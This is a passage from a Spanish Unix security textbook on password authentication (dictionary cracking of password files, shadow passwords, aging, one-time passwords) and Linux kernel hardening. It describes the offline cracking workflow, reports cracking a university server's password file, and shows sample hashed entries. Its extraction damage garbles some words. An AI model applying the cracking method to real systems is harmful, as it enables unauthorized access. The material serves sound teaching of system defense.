Unix; a diferencia de lo que mucha gente cree, no es posible descifrar una contrase˜a, pero es nmuy f´cil cifrar una palabra junto a un determinado salt, y comparar el resultado con la cadena aalmacenada en el fichero de claves. De esta forma, un atacante leer´ el fichero /etc/passwd (este afichero ha de tener permiso de lectura para todos los usuarios si queremos que el sistema funcionecorrectamente), y mediante un programa adivinador (o crackeador) como Crack o John the Rippercifrar´ todas las palabras de un fichero denominado diccionario (un fichero ASCII con un gran an´mero de palabras de cualquier idioma o campo de la sociedad – historia cl´sica, deporte, cantantes u ade rock. . . ), comparando el resultado obtenido en este proceso con la clave cifrada del fichero decontrase˜as; si ambos coinciden, ya ha obtenido una clave para acceder al sistema de forma no nautorizada. Este proceso se puede pero no se suele hacer en la m´quina local, ya que en este caso ahay bastantes posibilidades de detectar el ataque: desde modificar en c´digo de la funci´n crypt(3) o opara que alerte al administrador cuando es invocada repetidamente (cada vez que el adivinador cifrauna palabra utiliza esta funci´n) hasta simplemente darse cuenta de una carga de CPU excesiva o(los programas adivinadores suelen consumir un tiempo de procesador considerable). Lo habituales que el atacante transfiera una copia del archivo a otro ordenador y realice el proceso en estaotra m´quina; ni siquiera se tiene que tratar de un servidor Unix con gran capacidad de c´mputo: a o 4 Hemos preferido no mostrar las claves por defecto (si las tienen) ni el sistema operativo concreto.
  • 134 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOSexisten muchos programas adivinadores que se ejecutan en un PC normal, bajo MS-DOS o Windows.Obviamente, este segundo caso es mucho m´s dif´ de detectar, ya que se necesita una auditor´ a ıcil ıade los programas que ejecuta cada usuario (y utilidades como cp o ftp no suelen llamar la atenci´n odel administrador). Esta auditor´ la ofrecen muchos sistemas Unix (generalmente en los ficheros ıade log /var/adm/pacct o /var/adm/acct), pero no se suele utilizar por los excesivos recursosque puede consumir, incluso en sistemas peque˜os; obviamente, no debemos fiarnos nunca de los narchivos hist´ricos de ´rdenes del usuario (como $HOME/.sh history o $HOME/.bash history), ya o oque el atacante los puede modificar para ocultar sus actividades, sin necesidad de ning´n privilegio uespecial.Contrase˜ as aceptables nLa principal forma de evitar este tipo de ataque es utilizar passwords que no sean palabras de losficheros diccionario t´ıpicos: combinaciones de min´sculas y may´sculas, n´meros mezclados con u u utexto, s´ımbolos como &, $ o %, etc. Por supuesto, hemos de huir de claves simples como internet obeatles, nombres propios, combinaciones d´biles como Pepito1 o qwerty, nombres de lugares, actores, epersonajes de libros, deportistas. . . Se han realizado numerosos estudios sobre c´mo evitar este tipo ode passwords en los usuarios ([dA88], [Kle90], [Spa91b], [Bel93a], [Bis91], [BK95]. . . ), y tambi´nese han dise˜ado potentes herramientas para lograrlo, como Npasswd o Passwd+ ([Spa91b], [Bis92], n[CHN+ 92]. . . ). Es bastante recomendable instalar alguna de ellas para ‘obligar’ a los usuarios autilizar contrase˜as aceptables (muchos Unices ya las traen incorporadas), pero no conviene confiar ntoda la seguridad de nuestro sistema a estos programas5 . Como norma, cualquier administradordeber´ ejecutar con cierta periodicidad alg´n programa adivinador, tipo Crack, para comprobar ıa uque sus usuarios no han elegidos contrase˜as d´biles (a pesar del uso de Npasswd o Passwd+): se n epuede tratar de claves generadas antes de instalar estas utilidades o incluso de claves asignadas porel propio root que no han pasado por el control de estos programas.Por ultimo es necesario recordar que para que una contrase˜a sea aceptable obligatoriamente ha ´ nde cumplir el principio KISS, que hablando de passwords est´ claro que no puede significar ‘Keep ait simple, stupid!’ sino ‘Keep it SECRET, stupid!’. La contrase˜a m´s larga, la m´s dif´ de n a a ıcilrecordar, la que combina m´s caracteres no alfab´ticos. . . pierde toda su robustez si su propietario a ela comparte con otras personas6 . Para verificar el hecho que de no hay que confiar toda la seguridad de un sistema a ning´n u programa, hemos crackeado el fichero de claves de un servidor de la Universidad Polit´cnica e de Valencia. Se trata de un sistema Unix con unos 1300 usuarios, dedicado a c´lculo cient´ a ıfico (obviamente, no vamos a decir el nombre del servidor). A pesar de utilizar un mecanismo que no permite que los usuarios elijan claves d´biles, en menos de dos horas de ejecuci´n sobre e o un Pentium MMX a 233 MHz el programa Crack corriendo sobre Solaris ha encontrado seis claves de usuario utilizando exclusivamente diccionarios de demostraci´n que acompa˜an al o n programa (seguramente si utiliz´ramos diccionarios en castellano o relacionados con temas a como el deporte o la m´sica nacionales – que los hay– habr´ u ıamos encontrado alguna clave m´s. . . ). Se puede pensar que s´lo seis usuarios de entre 1300 es algo bastante aceptable, a o pero no es as´ cualquier combinaci´n v´lida de login y password es una puerta abierta en ı: o a nuestro sistema; si un intruso consigue entrar por esta puerta, tiene m´s del 70% del camino a recorrido para obtener el control total de la m´quina. Si queremos conseguir un sistema a m´ınimamente fiable, no podemos permitir ni una sola clave d´bil. e Sin embargo, tampoco hay que pensar que programas como Passwd+ no desempe˜an bien n su labor: en 1994, cuando en el sistema con el que hemos realizado la prueba anterior no dispon´ de estos mecanismos de seguridad, en menos de 12 horas de ejecuci´n de un ıa o programa adivinador sobre un 486DX a 33 MHz utilizando Linux, se consiguieron extraer m´s de cien claves, entre ellas algunas de usuarios con cierto nivel de privilegio dentro del a sistema. 5 ¡Ni a ning´ n otro! u 6 ‘Three can keep a secret. . . if two of them are dead’. Benjamin Franklin.
  • ´8.5. AUTENTICACION DE USUARIOS EN UNIX 135Shadow PasswordOtro m´todo cada d´ m´s utilizado para proteger las contrase˜as de los usuarios el denominado e ıa a nShadow Password u oscurecimiento de contrase˜as. La idea b´sica de este mecanismo es impedir que n alos usuarios sin privilegios puedan leer el fichero donde se almacenan las claves cifradas; en el puntoanterior hemos comentado que el fichero /etc/passwd tiene que tener permiso de lectura para todoel mundo si queremos que el sistema funcione correctamente. En equipos con oscurecimiento decontrase˜as este fichero sigue siendo legible para todos los usuarios, pero a diferencia del mecanismo ntradicional, las claves cifradas no se guardan en ´l, sino en el archivo /etc/shadow, que s´lo el root e opuede leer. En el campo correspondiente a la clave cifrada de /etc/passwd no aparece ´sta, sino eun s´ımbolo que indica a determinados programas (como /bin/login) que han de buscar las clavesen /etc/shadow, generalmente una x: toni:x:1000:100:Antonio Villalon,,,:/export/home/toni:/bin/shEl aspecto de /etc/shadow es en cierta forma similar al de /etc/passwd que ya hemos comentado:existe una l´ ınea por cada usuario del sistema, en la que se almacena su login y su clave cifrada.Sin embargo, el resto de campos de este fichero son diferentes; corresponden a informaci´n que opermite implementar otro mecanismo para proteger las claves de los usuarios, el envejecimiento decontrase˜as o Aging Password, del que hablaremos a continuaci´n: n o toni:LEgPN8jqSCHCg:10322:0:99999:7:::Desde hace un par de a˜os, la gran mayor´ de Unices del mercado incorporan este mecanismo; si al n ıainstalar el sistema operativo las claves aparecen almacenadas en /etc/passwd podemos comprobarsi existe la orden pwconv, que convierte un sistema cl´sico a uno oscurecido. Si no es as´ o si a ı,utilizamos un Unix antiguo que no posee el mecanismo de Shadow Password, es muy convenienteque consigamos el paquete que lo implementa (seguramente se tratar´ de un fichero shadow.tar.gz aque podemos encontar en multitud de servidores, adecuado a nuestro clon de Unix) y lo instalemosen el equipo. Permitir que todos los usuarios lean las claves cifradas ha representado durante a˜os, ny sigue representando, uno de los mayores problemas de seguridad de Unix; adem´s, una de las aactividades preferidas de piratas novatos es intercambiar ficheros de claves de los sistemas a los queacceden y crackearlos, con lo que es suficiente una persona que lea nuestro fichero para tener enpoco tiempo una colonia de intrusos en nuestro sistema.Envejecimiento de contrase˜ as nEn casi todas las implementaciones de Shadow Password actuales7 se suele incluir la implementaci´n opara otro mecanismo de protecci´n de las claves denominado envejecimiento de contrase˜as (Aging o nPassword). La idea b´sica de este mecanismo es proteger los passwords de los usuarios d´ndoles un a adeterminado periodo de vida: una contrase˜a s´lo va a ser v´lida durante un cierto tiempo, pasado n o ael cual expirar´ y el usuario deber´ cambiarla. a aRealmente, el envejecimiento previene m´s que problemas con las claves problemas con la transmi- asi´n de ´stas por la red: cuando conectamos mediante mecanismos como telnet, ftp o rlogin a o eun sistema Unix, cualquier equipo entre el nuestro y el servidor puede leer los paquetes que envia-mos por la red, incluyendo aquellos que contienen nuestro nombre de usuario y nuestra contrase˜a n(hablaremos de esto m´s a fondo en los cap´ a ıtulos dedicados a la seguridad del sistema de red y a lacriptograf´ de esta forma, un atacante situado en un ordenador intermedio puede obtener muy ıa);f´cilmente nuestro login y nuestro password. Si la clave capturada es v´lida indefinidamente, esa per- a asona tiene un acceso asegurado al servidor en el momento que quiera; sin embargo, si la clave tieneun periodo de vida, el atacante s´lo podr´ utilizarla antes de que el sistema nos obligue a cambiarla. o aA primera vista, puede parecer que la utilidad del envejecimiento de contrase˜as no es muy grande; n 7 AT&T/USL fu´ el pionero en utilizar envejecimiento junto al shadow password. e
  • 136 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOSal fin y al cabo, la lectura de paquetes destinados a otros equipos (sniffing) no se hace por casuali-dad: el atacante que lea la red en busca de claves y nombres de usuario lo va a hacer porque quiereutilizar estos datos contra un sistema. Sin embargo, una pr´ctica habitual es dejar programas aescuchando durante d´ y grabando la informaci´n le´ en ficheros; cada cierto tiempo el pirata ıas o ıdaconsultar´ los resultados de tales programas, y si la clave le´ ya ha expirado y su propietario la a ıdaha cambiado por otra, el haberla capturado no le servir´ de nada a ese atacante. aLos periodos de expiraci´n de las claves se suelen definir a la hora de crear a los usuarios con las oherramientas que cada sistema ofrece para ello (por ejemplo, Solaris y su admintool, mostradoen la figura 8.5). Si queremos modificar alguno de estos periodos una vez establecidos, desde esasmismas herramientas de administraci´n podremos hacerlo, y tambi´n desde l´ o e ınea de ´rdenes me- odiante ´rdenes como chage o usermod. Como antes hemos dicho, en el archivo /etc/shadow se oalmacena, junto a la clave cifrada de cada usuario, la informaci´n necesaria para implementar el oenvejecimiento de contrase˜as; una entrada de este archivo es de la forma n toni:LEgPN8jqSCHCg:10322:0:99999:7:::Tras el login y el password de cada usuario se guardan los campos siguientes: • D´ transcurridos desde el 1 de enero de 1970 hasta que la clave se cambi´ por ultima vez. ıas o ´ • D´ que han de transcurrir antes de que el usuario pueda volver a cambiar su contrase˜a. ıas n • D´ tras los cuales se ha de cambiar la clave. ıas • D´ durante los que el usuario ser´ avisado de que su clave va a expirar antes de que ´sta lo ıas a e haga. • D´ que la cuenta estar´ habilitada tras la expiraci´n de la clave. ıas a o • D´ desde el 1 de enero de 1970 hasta que la cuenta se deshabilite. ıas • Campo reservado.Como podemos ver, cuando un usuario cambia su clave el sistema le impide volverla a cambiardurante un periodo de tiempo; con esto se consigue que cuando el sistema obligue a cambiar lacontrase˜a el usuario no restaure inmediatamente su clave antigua (en este caso el esquema no nservir´ de nada). Cuando este periodo finaliza, suele existir un intervalo de cambio voluntario: ıaest´ permitido el cambio de contrase˜a, aunque no es obligatorio; al finalizar este nuevo periodo, a nel password ha expirado y ya es obligatorio cambiar la clave. Si el n´mero m´ximo de d´ en los u a ıasque el usuario no puede cambiar su contrase˜a es mayor que el n´mero de d´ tras los cuales es n u ıasobligatorio el cambio, el usuario no puede cambiar nunca su clave. Si tras el periodo de cambioobligatorio el password permanece inalterado, la cuenta se bloquea.En los sistemas Unix m´s antiguos (hasta System V Release 3.2), sin shadow password, toda la ainformaci´n de envejecimiento se almacena en /etc/passwd, junto al campo correspondiente a la oclave cifrada de cada usuario pero separada de ´ste por una coma: e root:cp5zOHITeZLWM,A.B8:0:0:El Spiritu Santo,,,:/root:/bin/bashEn este caso el primer car´cter tras la coma es el n´mero m´ximo de semanas antes de que el a u apassword expire; el siguiente car´cter es el n´mero m´ a u ınimo de semanas antes de que el usuario puedacambiar su clave, y el tercer y cuarto car´cter indican el tiempo transcurrido desde el 1 de enero de a1970 hasta el ultimo cambio de contrase˜a. Todos estos tiempos se indican mediante determinados ´ ncaracteres con un significado especial, mostrados en la tabla 8.2. Tambi´n se contemplan en este eesquema tres casos especiales: si los dos primeros caracteres son ‘..’ el usuario ser´ obligado a acambiar su clave la siguiente vez que conecte al sistema; el programa passwd modificar´ entonces asu entrada en el archivo para que el usuario no se vuelva a ver afectado por el envejecimiento. Otro
  • ´8.5. AUTENTICACION DE USUARIOS EN UNIX 137 Car´cter a . / 0 1 2 3 4 5 6 7 8 9 A B C Valor (semanas) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Car´cter a D E F G H I J K L M N O P Q R Valor (semanas) 16 17 18 19 20 21 21 22 23 24 25 26 27 28 29 Car´cter a S T U V W X Y Z a b c d e f g Valor (semanas) 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 Car´cter a h i j k l m n o p q r s t u v Valor (semanas) 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 Car´cter a w x y z Valor (semanas) 60 61 62 63 Tabla 8.2: C´digos de caracteres para el envejecimiento de contrase˜as. o ncaso especial ocurre cuando los dos ultimos caracteres tambi´n son ‘..’, situaci´n en la cual el ´ e ousuario igualmente se ver´ obligado a cambiar su clave la pr´xima vez que conecte al sistema pero a oel envejecimiento seguir´ definido por los dos primeros caracteres. Por ultimo, si el primer car´cter a ´ atras la coma es menor que el siguiente, el usuario no puede cambiar su password nunca, y s´lo puede oser modificado a trav´s de la cuenta root. eClaves de un solo usoEl envejecimiento de contrase˜as tiene dos casos extremos. Por un lado, tenemos el esquema cl´sico: n auna clave es v´lida hasta que el usuario voluntariamente decida cambiarla (es decir, no hay cadu- acidad de la contrase˜a). El extremo contrario del Aging Password es otorgar un tiempo de vida nm´ınimo a cada clave, de forma que s´lo sirva para una conexi´n: es lo que se denomina clave de un o osolo uso, One Time Password ([Lam81]).¿C´mo utilizar contrase˜as de un s´lo uso? Para conseguirlo existen diferentes aproximaciones; o n ola m´s simplista consiste en asignar al usuario una lista en papel con la secuencia de claves a utili- azar, de forma que cada vez que ´ste conecte al sistema elimina de la lista la contrase˜a que acaba e nde utilizar. Por su parte, el sistema avanza en su registro para que la pr´xima vez que el usuario oconecte pueda utilizar la siguiente clave. Otra aproximaci´n consiste en utilizar un peque˜o dispo- o nsitivo que el usuario debe llevar consigo, como una tarjeta o una calculadora especial, de forma quecuando desee conectar el sistema le indicar´ una secuencia de caracteres a teclear en tal dispositivo; ael resultado obtenido ser´ lo que se ha de utilizar como password. Para incrementar la seguridad aante un robo de la tarjeta, antes de teclear el n´mero recibido desde la m´quina suele ser necesario u autilizar un P.I.N. que el usuario debe mantener en secreto ([GS96]).Una de las implementaciones del One Time Password m´s extendida entre los diferentes clones ade Unix es s/key ([Hal94]), disponible tambi´n para clientes Windows y MacOS. Utilizando este esoftware, la clave de los usuarios no viaja nunca por la red, ni siquiera al ejecutar ´rdenes como su oo passwd, ni tampoco se almacena informaci´n comprometedora (como las claves en claro) en la om´quina servidora. Cuando el cliente desea conectar contra un sistema genera una contrase˜a de a nun solo uso, que se verifica en el servidor; en ambas tareas se utilizan las funciones resumen md4([Riv90]) o md5 ([Riv92]). Para realizar la autenticaci´n, la m´quina servidora guarda una copia o adel password que recibe del cliente y le aplica la funci´n resumen; si el resultado no coincide con la ocopia guardada en el fichero de contrase˜as, se deniega el acceso. Si por el contrario la verificaci´n n oes correcta se actualiza la entrada del usuario en el archivo de claves con el one time password quese ha recibido (antes de aplicarle la funci´n), avanzando as´ en la secuencia de contrase˜as. Este o ı navance decrementa en uno el n´mero de iteraciones de la funci´n ejecutadas, por lo que ha de llegar u oun momento en el que el usuario debe reiniciar el contador o en caso contrario se le negar´ el acceso aal sistema; para ello ejecuta una versi´n modificada de la orden passwd. o
  • 138 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOSOtros m´todos eAlgo por lo que se ha criticado el esquema de autenticaci´n de usuarios de Unix es la longitud o– para prop´sitos de alta seguridad, demasiado corta – de sus claves; lo que hace a˜os era poco o nm´s que un planteamiento te´rico ([DH77]), actualmente es algo factible: sin ni siquiera entrar en a otemas de hardware dedicado, seguramente demasiado caro para la mayor´ de atacantes, con un ıasupercomputador es posible romper claves de Unix en menos de dos d´ ([KI99]). ıasUn m´todo que aumenta la seguridad de nuestras claves frente a ataques de intrusos es el ci- efrado mediante la funci´n conocida como bigcrypt() o crypt16(), que permite longitudes para olas claves y los salts m´s largas que crypt(3); sin embargo, aunque se aumenta la seguridad de las aclaves, el problema que se presenta aqu´ es la incompatibilidad con las claves del resto de Unices ıque sigan utilizando crypt(3); este es un problema com´n con otras aproximaciones ([Man96], u[KI99]. . . ) que tambi´n se basan en modificar el algoritmo de cifrado, cuando no en utilizar uno enuevo.
  • ´8.5. AUTENTICACION DE USUARIOS EN UNIX 139Figura 8.5: La herramienta de administraci´n admintool (Solaris), con opciones para envejecimien- oto de claves.
  • 140 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS
  • Cap´ ıtulo 9Seguridad del n´ cleo u9.1 Introducci´n oEl n´cleo o kernel de un sistema Unix es la parte m´s importante del mismo, hasta tal punto que en u at´rminos puristas se considera al n´cleo como el sistema operativo en s´ Pero incluso si no lo con- e u ı.sideramos as´ y contemplamos al sistema operativo como el conjunto formado por el n´cleo y una ı, userie de herramientas (editor, compilador, enlazador,shell. . . ), es innegable que el kernel es la partedel sistema m´s importante, y con diferencia: mientras que las aplicaciones operan en el espacio de ausuario, el n´cleo siempre trabaja en el modo privilegiado del procesador (RING 0). Esto implica uque no se le impone ninguna restricci´n a la hora de ejecutarse: utiliza todas las instrucciones del oprocesador, direcciona toda la memoria, accede directamente al hardware (m´s concretamente, a alos manejadores de dispositivos), etc. De esta forma, un error en la programaci´n, o incluso en la oconfiguraci´n del n´cleo puede ser fatal para nuestro sistema. o uPor desgracia muchos administradores piensan que un intruso nunca va a actuar a un nivel tanbajo para comprometer al sistema. Si bien es cierto que en redes habituales la inmensa mayor´ ıade atacantes no poseen los conocimientos necesarios para utilizar el kernel del sistema operativo enbeneficio propio, cualquier pirata con el suficiente nivel de experiencia puede conseguir privilegiosde root y aprovecharlos para modificar el n´cleo o configurarlo a su gusto. Y es justamente este tipo ude ataques uno de los m´s dif´ a ıciles de detectar: cualquier administrador tiende a confiar ciegamenteen lo que el sistema operativo le dice, de forma que si ejecuta la orden anita:~# uptime 3:46am up 9 days, 2:22, 6 users, load average: 1.15, 1.05, 1.07 anita:~#autom´ticamente va a asumir que su sistema ha permanecido m´s de nueve d´ sin reiniciarse; a a ıasesto puede ser cierto o no serlo, e independientemente de la veracidad del resultado de esta ordenalguien puede haber accedido a nuestro kernel y haber comprometido su seguridad. Por ejemplo,si ha modificado completamente el n´cleo, puede haber reprogramado la llamada sysinfo() para uque devuelva un resultado err´neo, de forma que el administrador nunca se percate que la m´quina o aha sido reiniciada para cargar el kernel modificado; incluso en los Unices que soportan la inserci´node m´dulos en el n´cleo (como Linux, Solaris o FreeBSD) el atacante puede haber utilizado esta o ufacilidad para modificar el kernel sin necesidad de reiniciar el equipo; excelentes lecturas sobre estetipo de ataques son [Pla99], [Pra99b] o [Pra99a].Evidentemente, para cualquier intruso el ataque a un n´cleo es mucho m´s f´cil en clones de Unix u a acuyo c´digo fuente est´ disponible, como Linux, Minix o algunos BSD, pero el ataque es posible en o ecualquier sistema ([Pla99] lo demuestra sobre Solaris). El hecho de la completa disponibilidad delc´digo fuente de un sistema operativo (ahora no hablamos de aplicaciones, nos referimos al sistema ooperativo propiamente dicho) suele despertar controversias entre la comunidad cient´ıfica dedicada 141
  • 142 CAP´ ´ ITULO 9. SEGURIDAD DEL NUCLEOa la seguridad inform´tica: mientras unos argumentan que esta disponibilidad supone un problema ade seguridad – un atacante puede dedicarse a revisar el c´digo hasta encontrar un error de progra- omaci´n, y aprovecharlo –, otros les acusan de defender las teor´ de Security through Obscurity y o ıassostienen que cuanta m´s gente tenga acceso al c´digo m´s errores se localizar´n y solucionar´n, y a o a a apor tanto a la larga se va a conseguir un sistema mucho m´s robusto. Esta segunda postura es la aque m´s fuerza est´ tomando desde hace unos a˜os, y parece tambi´n la m´s razonable: es cierto a a n e aque un atacante puede dedicarse a leer c´digo hasta encontrar un error, pero se ha comprobado que ola mayor´ de los fallos no se suelen detectar de esta forma, sino por cualquier circunstancia que ıagenera un evento extra˜o sobre el que posteriormente se investiga. Por tanto, la disponibilidad del nc´digo del n´cleo no debe suponer una amenaza a la seguridad a priori1 . Adem´s, un administrador o u ade sistemas con un m´ ınimo nivel de conocimientos de programaci´n puede aprovechar la disponibi- olidad del c´digo para detectar r´pidamente problemas de seguridad: por ejemplo, si sospecha que o aalguien utiliza sus recursos para ejecutar programas adivinadores de contrase˜as, puede modificar nlibrer´ para detectar llamadas ‘sospechosas’ a la funci´n crypt(), o si piensa que determinado ıas ousuario ejecuta un programa setuidado para conseguir privilegios que no le corresponden, puedemodificar la llamada al sistema setuid() para comprobar si sus sospechas son ciertas.Visto esto, parece claro que el n´cleo va a representar un pilar b´sico para conseguir un siste- u ama seguro; es m´s, al ser el kernel la base del sistema operativo, no sirve de nada esforzarse en aconseguir seguridad a nivel de aplicaci´n si nuestro n´cleo es inseguro. En este cap´ o u ıtulo vamos atratar aspectos relativos a la seguridad de los n´cleos de sistemas Unix, y tambi´n hablaremos de u easpectos que, sin pertenecer estrictamente al kernel, son de un nivel tan bajo que su funcionamien-to es muy dependiente de cada versi´n de Unix. Como cada clon del sistema operativo tiene sus om´todos para configurar o recompilar el kernel, y en adem´s en este trabajo no podemos tratar e aextensamente cada uno de ellos, es indispensable en cada caso consultar los manuales antes demodificar cualquier par´metro de los vistos aqu´ a ı.9.2 Linux9.2.1 Opciones de compilaci´n oA la hora de recompilar un nuevo n´cleo de Linux hemos de tener en cuenta algunas opciones dentro udel grupo ‘Networking Options’ que pueden afectar a la seguridad de nuestra m´quina (algunos ade estos aspectos, para n´cleos 2.0, pueden encontrarse en [Wre98]). Sin embargo, antes de entrar uen detalles con opciones concretas, es muy conveniente que introduzcamos soporte para sistemasde ficheros proc en ‘Filesystems’ (config proc fs) y activemos el interfaz sysctl en ‘GeneralSetup’ (config sysctl); con estos pasos habilitamos la capacidad de Linux para modificar ciertospar´metros del n´cleo (en /proc/sys/) sin necesidad de reiniciar el sistema o recompilar el kernel. a uPasando ya a comentar algunas opciones que nos ofrece Linux, es bastante interesante para laseguridad configurar nuestro sistema como un cortafuegos a la hora de compilar el n´cleo (con- ufig ip firewall). Linux ofrece en su kernel facilidades para definir un firewall de paquetes en elsistema, que adem´s permitir´ el IP-Masquerading. Para que el subsistema de filtrado funcione es a anecesario que el IP-Forwarding est´ activado de la forma que m´s tarde veremos. e aOtra opci´n que nos puede ayudar a incrementar la seguridad de nuestro equipo es la defragmen- otaci´n de paquetes (config ip always defrag) que llegan a trav´s de la red. Cuando un equipo o esituado entre el origen y el destino de los datos decide que los paquetes a enviar son demasiadograndes, los divide en fragmentos de longitud menor; sin embargo, los n´meros de puerto s´lamente u oviajan en el primer fragmento, lo que implica que un atacante puede insertar informaci´n en el oresto de tramas que en teor´ no debe viajar en ellas. Activando esta opci´n, en nuestra m´quina ıa o aestos fragmentos se reagrupar´n de nuevo incluso si van a ser reenviados a otro host. a 1 Sin embargo, ning´ n Trusted Unix tiene su c´digo disponible. . . u o
  • 9.2. LINUX 143Siguiendo con las diferentes opciones del subsistema de red, podemos habilitar el soporte para‘SYN Cookies’ (config syn cookies) en el n´cleo que estamos configurando. Una red TCP/IP uhabitual no puede soportar un ataque de negaci´n de servicio conocido como ‘SYN Flooding’, con- osistente b´sicamente en enviar una gran cantidad de tramas con el bit SYN activado para as´ saturar a ılos recursos de una m´quina determinada hasta que los usuarios no pueden ni siquiera conectar a aella. Las ‘SYN Cookies’ proporcionan cierta protecci´n contra este tipo de ataques, ya que la pila oTCP/IP utiliza un protocolo criptogr´fico para permitir que un usuario leg´ a ıtimo pueda seguir acce-diendo al sistema incluso si este est´ siendo atacado. Aunque configuremos y ejecutemos un n´cleo a ucon esta opci´n soportada, hemos de activar las ‘SYN Cookies’ cada vez que el sistema arranca o(como veremos luego), ya que por defecto est´n deshabilitadas. aEn ciertas situaciones es interesante analizar en espacio de usuario – es decir, sin sobrecargaral n´cleo m´s de lo estrictamente necesario – un paquete o parte de ´l (t´ u a e ıpicamente, los 128 pri-meros bytes) que llega a trav´s de la red hasta nuestra m´quina; de esta forma, un analizador e asimple puede tomar ciertas decisiones en funci´n del contenido del paquete recibido, como enviar oun correo al administrador en caso de sospecha o grabar un mensaje mediante syslog. Justa-mente esto es lo que conseguimos si habilitamos la opci´n Firewall Packet Netlink Device (con- ofig ip firewall netlink).Hasta ahora hemos hablado de la posibilidad que tiene Linux para modificar par´metros del n´cleo a usin necesidad de recompilarlo o de reiniciar el equipo, mediante el interfaz sysctl; esto implica porejemplo que podemos modificar el comportamiento del subsistema de red simplemente modifican-do determinados ficheros de /proc/sys/ (recordemos que el sistema de ficheros /proc/ de algunosUnix es una interfaz entre estructuras de datos del n´cleo y el espacio de usuario). Vamos a ver aho- ura algunos de estos par´metros configurables que tienen mucho que ver con la seguridad del sistema: aUno de los par´metros que nos interesa es la habilitaci´n o deshabilitaci´n del IP Forwarding a o oen el n´cleo de Linux; como hemos dicho antes, el sistema de filtrado de paquetes s´lo funciona u ocuando esta opci´n est´ habilitada, lo que se consigue con la orden o a luisa:~# echo 1 > /proc/sys/net/ipv4/ip_forwardSin embargo, si no utilizamos las facilidades de firewalling del n´cleo de Linux esta opci´n ha de u oestar desabilitada (introducir´ ıamos un ‘0’ en lugar de un ‘1’ en el fichero anterior), ya que de locontrario corremos el peligro de que nuestra m´quina se convierta en un router. aAntes hemos hablado de las ‘SYN Cookies’, y hemos comentado que aunque el soporte para estacaracter´ ıstica se introduce al compilar el n´cleo, realmente el mecanismo se ha de activar desde uespacio de usuario, por ejemplo con una orden como la siguiente: luisa:~# echo 1 >/proc/sys/net/ipv4/tcp_syncookiesTambi´n es muy recomendable que el subsistema de red del kernel descarte las tramas con Source eRouting o encaminamiento en origen activado. Este tipo de paquetes contienen el camino que hande seguir hasta su destino, de forma que los routers por los que pasa no han de examinar su conte-nido sino simplemente reenviarlo, hecho que puede causar la llegada de datos que constituyan unaamenaza a nuestras pol´ ıticas de seguridad. En los n´cleos 2.0 esto se consegu´ activando la opci´n u ıa oconfig ip nosr, mientras que en los 2.2 la forma m´s sencilla de ignorar estos paquetes es introdu- aciendo un ‘0’ en los diferentes ficheros accept source route del directorio /proc/sys/net/ipv4/;por ejemplo la siguiente orden descarta las tramas con encaminamiento en origen que llegan aldispositivo de red eth0: luisa:~# echo 0 >/proc/sys/net/ipv4/conf/eth0/accept_source_routeHemos de recordar que las modificaciones que hacemos sobre el interfaz sysctl son din´micas (se apueden efectuar con el sistema funcionando, sin necesidad de reiniciarlo), pero se pierden cuando
  • 144 CAP´ ´ ITULO 9. SEGURIDAD DEL NUCLEOla m´quina se apaga para establecerse a unos valores por defecto al arrancar de nuevo el sistema aoperativo; seguramente nos interesar´ mantener los cambios realizados, por lo que en alguno de alos ficheros de inicializaci´n de la m´quina hemos de incluir las ´rdenes que acabamos de explicar, o a oobviamente despu´s de haber montado el sistema de ficheros /proc/. e9.2.2 DispositivosLinux (no as´ otros Unices) proporciona dos dispositivos virtuales denominados /dev/random y ı/dev/urandom que pueden utilizarse para generar n´meros pseudoaleatorios, necesarios para apli- ucaciones criptogr´ficas. El primero de estos ficheros, /dev/random, utiliza lo que su autor denomina a‘ruido ambiental’ (por ejemplo, temporizadores de IRQs, accesos a disco o tiempos entre pulsacionesde teclas) para crear una fuente de entrop´ aceptable y – muy importante – que apenas introduce ıasobrecarga en el sistema. El segundo archivo, /dev/urandom, crea un resumen de la entrop´ de ıa/dev/random utilizando la funci´n hash SHA (Secure Hash Algorithm), dise˜ada por el NIST y o nla NSA para su Digital Signature Standard ([oST84]). Por tanto, tenemos una fuente de entrop´ ıaaceptable, /dev/urandom, y otra incluso mejor, pero de capacidad limitada, /dev/random. Paradetalles concretos sobre su funcionamiento se puede consultar el fichero que las implementa dentrodel n´cleo de Linux, drivers/char/random.c. uComo en el propio c´digo se explica, cuando un sistema operativo arranca ejecuta una serie de oacciones que pueden ser predecidas con mucha facilidad por un potencial atacante (especialmentesi en el arranque no interactua ninguna persona, como es el caso habitual en Unix). Para mantenerel nivel de entrop´ en el sistema se puede almacenar el desorden que exist´ en la parada de la